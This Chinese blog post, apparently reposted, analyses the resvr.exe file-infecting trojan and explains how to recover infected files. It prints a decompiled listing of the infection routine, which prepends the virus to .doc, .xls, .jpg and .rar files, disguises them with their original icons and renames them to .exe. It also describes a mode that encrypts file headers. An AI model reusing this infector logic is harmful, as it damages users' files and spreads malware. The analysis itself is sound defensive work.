zoukankan      html  css  js  c++  java
  • 一个感染性木马病毒分析(三)--文件的修复

    一、 序言


    前面的分析一个感染型木马病毒分析(二)中,已经将该感染性木马病毒resvr.exe木马性的一面分析了一下,下面就将该感染性木马病毒resvr.exe感染性的一面分析一下。

     


    二、文件感染方式的分析


    之前感染性木马病毒的分析中,已经提到了病毒对于用户文件的感染方式有2种,分别是加密文件感染文件传播病毒,至于文件感染的时候采取哪种感染方式,病毒母体文件和病毒母体衍生病毒文件中都有相关的标志位。

     

    1种感染文件的方式


    前面分析的感染性木马病毒的木马性一面的过程中有下面一组远程控制命令RevCmdBuffer(如图)设置病毒进程感染文件的感染方式的标记0xAABBCCDD




    在后面病毒进程感染用户文件的时候,有对感染文件方式判断,具体的判断依据是感染标记0xAABBCCDD(如图)。当地址0x402120处的感染标记为0xAABBCCDD时,采用第一种感染文件的方式感染(加密文件的方式)。







    第1种感染文件的方式的具体方法是 不对用户系统磁盘里的文件的格式进行筛选,只要是用户系统磁盘里的文件就进行加密处理。打开用户文件,创建内存映射,以先异或后加4的方式对用户文件的0x400个字节的数据进行加密处理。




    2种感染文件的方式


    当地址0x402120没有感染标记0xAABBCCDD时,采用第2种感染文件的方式(感染文件传播病毒)。这种感染文件的方式 会对用户系统磁盘里的文件进行筛选,仅仅对用户系统磁盘里的.doc.xls.jpg.rar格式的文件进行感染处理。




    病毒母体文件resvr.exe感染.doc.xls.jpg.rar格式的用户文件的具体过程如下面的代码。


    int __stdcall InfectedFileOfHide_4035BD(LPCSTR lpUserFilePath, int lpUserFileEx, int nNumber)
    {
    	int _hUserFile; // eax@1
    	signed int nUserFileSize; // eax@2
    	HANDLE hModuleVirusesFile; // eax@5
    	DWORD nVirusesModulesize; // eax@5
    	HGLOBAL lpMemoryAlloc; // eax@5
    	HGLOBAL __lpMemoryAlloc; // esi@7
    	__int64 nFileExFilexOffset; // rax@7
    	CHAR *lpUserFilePathBuffer; // edi@7
    	int lpUserFilePathPtr; // edi@9
    	DWORD NumberOfBytesWritten; // [sp+0h] [bp-228h]@7
    	DWORD NumberOfBytesRead; // [sp+4h] [bp-224h]@7
    	LPCVOID _lpMemoryAlloc; // [sp+8h] [bp-220h]@7
    	DWORD nVirusesAndUserFileSize; // [sp+Ch] [bp-21Ch]@5
    	DWORD _nUserFileSize; // [sp+10h] [bp-218h]@2
    	DWORD nNumberOfBytesVirusesFileToRead; // [sp+14h] [bp-214h]@5
    	HANDLE hUserFile; // [sp+18h] [bp-210h]@2
    	HANDLE hVirusesHandle; // [sp+1Ch] [bp-20Ch]@5
    	CHAR szUserFilePathBuffer; // [sp+20h] [bp-208h]@7
    	CHAR FileVirusesName; // [sp+124h] [bp-104h]@5
    
    	// 打开需要感染处理的用户文件
    	_hUserFile = (int)CreateFileA(lpUserFilePath, 0xC0000000, 0, 0, 3u, 0x80u, 0);
    	if (_hUserFile != -1)
    	{
    		hUserFile = (HANDLE)_hUserFile;      
    		
    		// 获取需感染用户文件的大小
    		nUserFileSize = GetFileSize((HANDLE)_hUserFile, &_nUserFileSize);
    
    		// 当用户文件大小大于0x8000000或者大于4G时,不感染用户文件
    		if (nUserFileSize > 0x8000000 || _nUserFileSize)
    		{
    			_hUserFile = CloseHandle(hUserFile);
    		}
    		else
    		{
    			_nUserFileSize = nUserFileSize;         
    
    			// 获取当前病毒进程模块的名称
    			GetModuleFileNameA(0, &FileVirusesName, 0x104u);
    			
    			// 打开当前病毒进程的文件
    			hModuleVirusesFile = CreateFileA(&FileVirusesName, 0x80000000, 3u, 0, 3u, 0x80u, 0);
    			hVirusesHandle = hModuleVirusesFile;      
    
    			// 获取当前病毒进程文件的大小
    			nVirusesModulesize = GetFileSize(hModuleVirusesFile, &nNumberOfBytesVirusesFileToRead);
    			nNumberOfBytesVirusesFileToRead = nVirusesModulesize;
    			
    			// 病毒进程感染用户文件之后,感染文件的总文件大小。
    			nVirusesAndUserFileSize = _nUserFileSize + nVirusesModulesize;
    
    			// 根据感染后文件的大小,申请内存空间
    			lpMemoryAlloc = GlobalAlloc(0x40u, _nUserFileSize + nVirusesModulesize);
    			if (lpMemoryAlloc)
    			{
    				_lpMemoryAlloc = lpMemoryAlloc;
    				__lpMemoryAlloc = lpMemoryAlloc;        
    
    				// 读取当前病毒进程的全部的PE文件数据到刚申请的内存中
    				ReadFile(hVirusesHandle, lpMemoryAlloc, nNumberOfBytesVirusesFileToRead, &NumberOfBytesRead, 0);
    				
    				// 读取需要被感染用户文件的全部数据追加到内存的后面即紧接着在内存缓冲区后面存放原用户文件的数据
    				ReadFile(hUserFile, (char *)__lpMemoryAlloc + nNumberOfBytesVirusesFileToRead,_nUserFileSize, &NumberOfBytesRead,
    				0);                                   
    				
    				// 在标志[00402000]=11 11 11 11处即申请内存中,保存被感染用户文件的大小。
    				setFileInfor_403B61((int)&_nUserFileSize, (int)_lpMemoryAlloc, dword_402000, (int)&_nUserFileSize, 4);
    
    				// // 在标志[00402008]=22 22 22 22处即申请内存中,保存被感染用户文件的原后缀名。
    				LODWORD(nFileExFilexOffset) = setFileInfor_403B61(
    					(int)&lpUserFileEx,
    					(int)_lpMemoryAlloc,
    					dword_402008,
    					(int)&lpUserFileEx,
    					4);     
    				
    				// 提取被感染用户.doc、.xls、.jpg、.rar格式文件的图标资源,
    				// 然后将感染后用户文件的资源图标修改为提取到被感染用户.doc、.xls、.jpg、.rar格式文件的图标。
    				SetUserFileIcon_403573(nFileExFilexOffset, (int)_lpMemoryAlloc, nNumber);
    				
    				// 设置被感染用户文件的文件指针在文件头。
    				SetFilePointer(hUserFile, 0, 0, 0);     
    				
    				// 将申请的内存中的(病毒母体文件的数据+被感染用户文件的数据)重新写回到被感染用户文件中
    				// 此时感染后的用户文件变成了病毒母体衍生病毒文件
    				WriteFile(hUserFile, _lpMemoryAlloc, nVirusesAndUserFileSize, &NumberOfBytesWritten, 0);
    				
    				// 释放申请的内存空间
    				GlobalFree((HGLOBAL)_lpMemoryAlloc);  
    
    				// 关闭文件句柄 
    				CloseHandle(hVirusesHandle);            
    				CloseHandle(hUserFile);                 
    				
    				// 保存被感染用户文件的路径字符串到szUserFilePathBuffer中。
    				RtlMoveMemory(&szUserFilePathBuffer, lpUserFilePath, 0x104);
    				lpUserFilePathBuffer = &szUserFilePathBuffer;// 
    				
    				// 设置被感染用户文件路径字符串的指针到末尾。
    				while (*lpUserFilePathBuffer++ != 0)
    					;
    				*lpUserFilePathBuffer = 0;             
    				
    				// 将被感染用户文件路径字符串指针指向文件后缀名字符的位置如".xls"的首地址处
    				lpUserFilePathPtr = (int)(lpUserFilePathBuffer - 5);
    				
    				// 将感染后的用户文件的文件后缀名改为"被感染用户文件的原文件名.exe"
    				*(_DWORD *)lpUserFilePathPtr = 'exe.';  
    				
    				// 修改被感染用户文件的文件名称为"被感染用户文件的原文件名.exe"并将感染后的衍生病毒文件释放到被感染用户原文件路径下。
    				_hUserFile = MoveFileA(lpUserFilePath, &szUserFilePathBuffer);
    				 
    				
    				if (!_hUserFile)
    				{
    					_hUserFile = GetLastError();
    					// 如果被感染用户原文件路径下,已经存在"被感染用户文件的原文件名.exe"文件。
    					if (_hUserFile == 0xB7)             
    					{
    						// 恢复被感染用户文件的路径为原路径字符串即 "被感染用户文件原文件名.被感染用户文件原后缀名"
    						*(_DWORD *)lpUserFilePathPtr = lpUserFileEx;
    						
    						// 修改被感染用户文件的路径字符串为"被感染用户文件原文件名.被感染用户文件原后缀名.exe"
    						*(_DWORD *)(lpUserFilePathPtr + 4) = 'exe.';
    						*(_DWORD *)(lpUserFilePathPtr + 8) = 0;
    						
    						// 在被感染用户原文件的路径下,创建"被感染用户文件原文件名.被感染用户文件原后缀名.exe"的衍生病毒文件。
    						_hUserFile = MoveFileA(lpUserFilePath, &szUserFilePathBuffer);
    					}
    				}
    			}
    			else
    			{
    				//关闭文件句柄
    				CloseHandle(hVirusesHandle);
    				_hUserFile = CloseHandle(hUserFile);
    			}
    		}
    	}
    	return _hUserFile;
    }



    病毒母体文件resvr.exe感染.doc.xls.jpg.rar格式的用户文件的具体流程如下。



    三、被感染文件的修复


    1种感染方式文件的修复


    对于被第1种感染方式处理的用户文件的修复比较简单,只需遍历被加密的用户文件,以内存映射的方式打开文件,对打开文件的头0x400个字节的数据的进行先减4(字节类型)后异或0x5FF80F64DWORD型)的处理即可修复被感染加密处理的用户文件。修复被感染文件的难点是如何判断用户的文件是被这种感染方式处理的

     

     

    2种感染方式文件的修复


    这个感染方式对用户.doc.xls.jpg.rar格式的文件的感染,其实就是病毒母体resvr.exe产生衍生病毒即产生病毒载体的过程。只要将上面提到的病毒感染用户文件的过程理解清楚了,恢复文件也不能。

     

    病毒母体文件resvr.exe与衍生病毒载体的文件对比。

     

    将病毒母体文件“resvr.exe”与衍生病毒文件“石林.xls.exe”进行16进制的对比,发现两处不同。






    文件对比结果的第1处不同是恢复感染用户文件的关键,具体的说明如图。

     

    当为病毒母体文件resvr.exe时,标记 1--0x11111111后面的值是0xFFFFFFFF,标记 2--0x22222222后面保存的默认文件后缀名为.xls




    当为衍生病毒文件时,标记 1--0x11111111后面的值是被感染用户文件原文件的大小,标记 2--0x22222222后面保存的被感染用户文件原文件的后缀名




    文件对比结果的2不同,对于恢复被感染的用户文件也是有帮助的。

     

    病毒母体文件resvr.exe的大小为0x11200,在衍生病毒文件中从文件偏移FileOffset=0x11200到文件结尾的数据就是被用户感染.doc.xls.jpg.rar格式的文件原文件的数据

     




    恢复方法总结


    一、.获取被感染用户文件的原文件的大小


    方法1、通过在衍生病毒文件中搜索0x11111111的位置即可获取原文件的大小,因为被感染用户文件原文件的字节大小信息保存在该位置+4的地方;


    方法2、直接定位衍生病毒文件的偏移0x400的位置找到0x1111111,该位置+4的地方就是被感染用户文件原文件的字节大小的信息。


    二、获取被感染用户文件的原文件的文件类型


    方法1、通过在衍生病毒文件中搜索0x22222222的位置即可获取被感染用户文件原文件类型字符串,因为被感染用户文件原文件类型字符串信息保存在该位置+4的地方;


    方法2、直接定位衍生病毒文件的偏移0x408的位置找到0x22222222,该位置+4的地方就是被感染用户文件原文件类型字符串信息。


    三、获取被隐藏的原文件的文件的数据


    由于衍生病毒隐藏用户文件的方式很简单,直接将用户文件(要被感染的用户文件原文件)紧接着放在病毒母体文件数据的后面,并将用户文件(要被感染的用户文件原文件)信息保存在病毒母体的文件数据中,并且病毒母体文件的大小为0x11200


    病毒母体文件数据(保存了被感染用户文件的信息)0x11200

    感染用户文件文件数据

     

    因此,只要读取衍生病毒文件中病毒母体文件数据后面即文件偏移0x11200以后至文件末尾的数据,再重新创建一个文件被感染用户文件的原文件就可恢复了。




    感染性木马病毒详细的分析完了,笔记也完成了,过程还是快乐的,加油!









  • 相关阅读:
    C# 翻页设计:首页,上一页,下一页,末页 ,跳转
    sqlsever2008数据库的备份与还原
    解决treeview的同一节点单击多次的执行问题
    juery mobile select下来菜单选项提交form问题
    利用 lucene.net 实现高效率的 WildcardQuery ,记一次类似百度搜索下拉关键字联想功能的实现。
    字符编码笔记:ASCII,Unicode和UTF-8 转
    由三目运算符 == ? : 引起的一个问题,醉了,基础不过关。记录一下,比较简单的一个问题,只是为了记录一下
    记一次排错,windows日志 模块 DLL C:Windowssystem32inetsrvaspnetcore.dll 未能加载。返回的数据为错误信息。
    windows xp 连接USB网络打印机服务器(通用所有usb网络打印机服务器的安装)
    try catch中用了 Response.Redirect 引发的线程异常终止
  • 原文地址:https://www.cnblogs.com/csnd/p/11800696.html
Copyright © 2011-2022 走看看